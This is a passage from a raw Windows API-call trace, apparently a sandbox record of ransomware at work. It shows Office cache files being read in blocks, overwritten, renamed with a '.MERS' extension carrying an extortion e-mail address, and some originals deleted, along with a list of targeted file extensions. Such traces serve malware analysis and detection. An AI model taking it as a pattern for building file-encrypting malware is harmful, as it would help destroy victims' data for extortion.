hTemplateFile=0x0) returned 0x200 [0043.261] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0x0) returned 1 [0043.261] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.261] ReadFile (in: hFile=0x200, lpBuffer=0x3510058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3510058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.417] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.417] ReadFile (in: hFile=0x200, lpBuffer=0x3550058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3550058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.485] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.485] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.485] ReadFile (in: hFile=0x200, lpBuffer=0x3590058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3590058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.506] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.506] WriteFile (in: hFile=0x200, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2a8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0043.521] SetEndOfFile (hFile=0x200) returned 1 [0043.569] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3f32008 [0043.570] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.570] WriteFile (in: hFile=0x200, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.571] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.571] WriteFile (in: hFile=0x200, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.578] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.578] WriteFile (in: hFile=0x200, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.581] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f32008 | out: hHeap=0x5f0000) returned 1 [0043.581] CloseHandle (hObject=0x200) returned 1 [0043.581] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0043.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.582] lstrlenW (lpString=".doc") returned 4 [0043.582] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.582] lstrlenW (lpString=".docx") returned 5 [0043.582] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.582] lstrlenW (lpString=".pdf") returned 4 [0043.582] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.582] lstrlenW (lpString=".xls") returned 4 [0043.582] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.582] lstrlenW (lpString=".xlsx") returned 5 [0043.582] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.582] lstrlenW (lpString=".ppt") returned 4 [0043.582] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.582] lstrlenW (lpString=".zip") returned 4 [0043.582] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.582] lstrlenW (lpString=".rar") returned 4 [0043.582] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.582] lstrlenW (lpString=".bz2") returned 4 [0043.582] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.582] lstrlenW (lpString=".7z") returned 3 [0043.582] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.582] lstrlenW (lpString=".dbf") returned 4 [0043.583] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.583] lstrlenW (lpString=".1cd") returned 4 [0043.583] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.583] lstrlenW (lpString=".jpg") returned 4 [0043.583] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.583] lstrlenW (lpString=".doc") returned 4 [0043.583] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.583] lstrlenW (lpString=".docx") returned 5 [0043.583] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.583] lstrlenW (lpString=".pdf") returned 4 [0043.583] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.583] lstrlenW (lpString=".xls") returned 4 [0043.583] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.583] lstrlenW (lpString=".xlsx") returned 5 [0043.583] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.583] lstrlenW (lpString=".ppt") returned 4 [0043.583] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.583] lstrlenW (lpString=".zip") returned 4 [0043.583] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.583] lstrlenW (lpString=".rar") returned 4 [0043.583] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.583] lstrlenW (lpString=".bz2") returned 4 [0043.583] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.584] lstrlenW (lpString=".7z") returned 3 [0043.584] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.584] lstrlenW (lpString=".dbf") returned 4 [0043.584] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.584] lstrlenW (lpString=".1cd") returned 4 [0043.584] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.584] lstrlenW (lpString=".jpg") returned 4 [0043.584] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.584] lstrcmpiW (lpString1=".cab", lpString2=".MERS") returned -1 [0043.584] lstrlenW (lpString="ProjLR.cab") returned 10 [0043.584] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0043.585] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=8265165) returned 1 [0043.585] CloseHandle (hObject=0x200) returned 1 [0043.585] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab")) returned 0x2020 [0043.585] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0043.585] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0043.586] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0043.586] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0x0) returned 1 [0043.586] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.586] ReadFile (in: hFile=0x200, lpBuffer=0x3510058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3510058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.819] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.819] ReadFile (in: hFile=0x200, lpBuffer=0x3550058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3550058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.995] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.995] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.995] ReadFile (in: hFile=0x200, lpBuffer=0x3590058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3590058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.214] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.214] WriteFile (in: hFile=0x200, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2a8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0044.289] SetEndOfFile (hFile=0x200) returned 1 [0044.290] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3f32008 [0044.295] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.295] WriteFile (in: hFile=0x200, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.297] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.297] WriteFile (in: hFile=0x200, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.334] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.334] WriteFile (in: hFile=0x200, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.336] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f32008 | out: hHeap=0x5f0000) returned 1 [0044.336] CloseHandle (hObject=0x200) returned 1 [0044.337] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0044.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.337] lstrlenW (lpString=".doc") returned 4 [0044.337] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.337] lstrlenW (lpString=".docx") returned 5 [0044.337] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0044.337] lstrlenW (lpString=".pdf") returned 4 [0044.337] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.337] lstrlenW (lpString=".xls") returned 4 [0044.337] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.337] lstrlenW (lpString=".xlsx") returned 5 [0044.337] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0044.337] lstrlenW (lpString=".ppt") returned 4 [0044.337] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.337] lstrlenW (lpString=".zip") returned 4 [0044.337] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.337] lstrlenW (lpString=".rar") returned 4 [0044.337] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.337] lstrlenW (lpString=".bz2") returned 4 [0044.338] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.338] lstrlenW (lpString=".7z") returned 3 [0044.338] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.338] lstrlenW (lpString=".dbf") returned 4 [0044.338] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.338] lstrlenW (lpString=".1cd") returned 4 [0044.338] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.338] lstrlenW (lpString=".jpg") returned 4 [0044.338] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.338] lstrlenW (lpString=".doc") returned 4 [0044.338] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.338] lstrlenW (lpString=".docx") returned 5 [0044.338] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0044.338] lstrlenW (lpString=".pdf") returned 4 [0044.338] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.338] lstrlenW (lpString=".xls") returned 4 [0044.338] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.338] lstrlenW (lpString=".xlsx") returned 5 [0044.338] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0044.338] lstrlenW (lpString=".ppt") returned 4 [0044.338] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.339] lstrlenW (lpString=".zip") returned 4 [0044.339] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.339] lstrlenW (lpString=".rar") returned 4 [0044.339] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.339] lstrlenW (lpString=".bz2") returned 4 [0044.339] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.339] lstrlenW (lpString=".7z") returned 3 [0044.339] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.339] lstrlenW (lpString=".dbf") returned 4 [0044.339] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.339] lstrlenW (lpString=".1cd") returned 4 [0044.339] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.339] lstrlenW (lpString=".jpg") returned 4 [0044.339] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.339] lstrcmpiW (lpString1=".EXE", lpString2=".MERS") returned -1 [0044.339] lstrlenW (lpString="DW20.EXE") returned 8 [0044.339] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0044.412] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=838536) returned 1 [0044.412] CloseHandle (hObject=0x1d4) returned 1 [0044.412] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 0x2020 [0044.412] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.412] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0044.412] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.412] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.412] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0044.412] GetLastError () returned 0x0 [0044.412] ReadFile (in: hFile=0x1d4, lpBuffer=0x3510020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesRead=0x2a8fed4*=0xccb88, lpOverlapped=0x0) returned 1 [0044.658] WriteFile (in: hFile=0x214, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xccb90, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xccb90, lpOverlapped=0x0) returned 1 [0044.671] ReadFile (in: hFile=0x1d4, lpBuffer=0x3510020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.671] WriteFile (in: hFile=0x214, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0044.671] SetEndOfFile (hFile=0x214) returned 1 [0044.671] CloseHandle (hObject=0x214) returned 1 [0044.671] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.671] SetEndOfFile (hFile=0x1d4) returned 1 [0044.678] CloseHandle (hObject=0x1d4) returned 1 [0044.678] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0044.678] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 1 [0044.744] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0044.744] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0044.744] lstrlenW (lpString=".doc") returned 4 [0044.744] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0044.744] lstrlenW (lpString=".docx") returned 5 [0044.744] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0044.744] lstrlenW (lpString=".pdf") returned 4 [0044.744] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0044.744] lstrlenW (lpString=".xls") returned 4 [0044.744] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0044.744] lstrlenW (lpString=".xlsx") returned 5 [0044.744] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0044.744] lstrlenW (lpString=".ppt") returned 4 [0044.744] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0044.744] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0044.744] lstrlenW (lpString=".zip") returned 4 [0044.744] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0044.744] lstrlenW (lpString=".rar") returned 4 [0044.744] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0044.744] lstrlenW (lpString=".bz2") returned 4 [0044.744] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0044.744] lstrlenW (lpString=".7z") returned 3 [0044.744] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0044.744] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0044.744] lstrlenW (lpString=".dbf") returned 4 [0044.745] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0044.745] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0044.745] lstrlenW (lpString=".1cd") returned 4 [0044.745] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0044.745] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0044.745] lstrlenW (lpString=".jpg") returned 4 [0044.745] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0044.745] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0044.745] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0044.745] lstrlenW (lpString=".doc") returned 4 [0044.745] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0044.745] lstrlenW (lpString=".docx") returned 5 [0044.745] 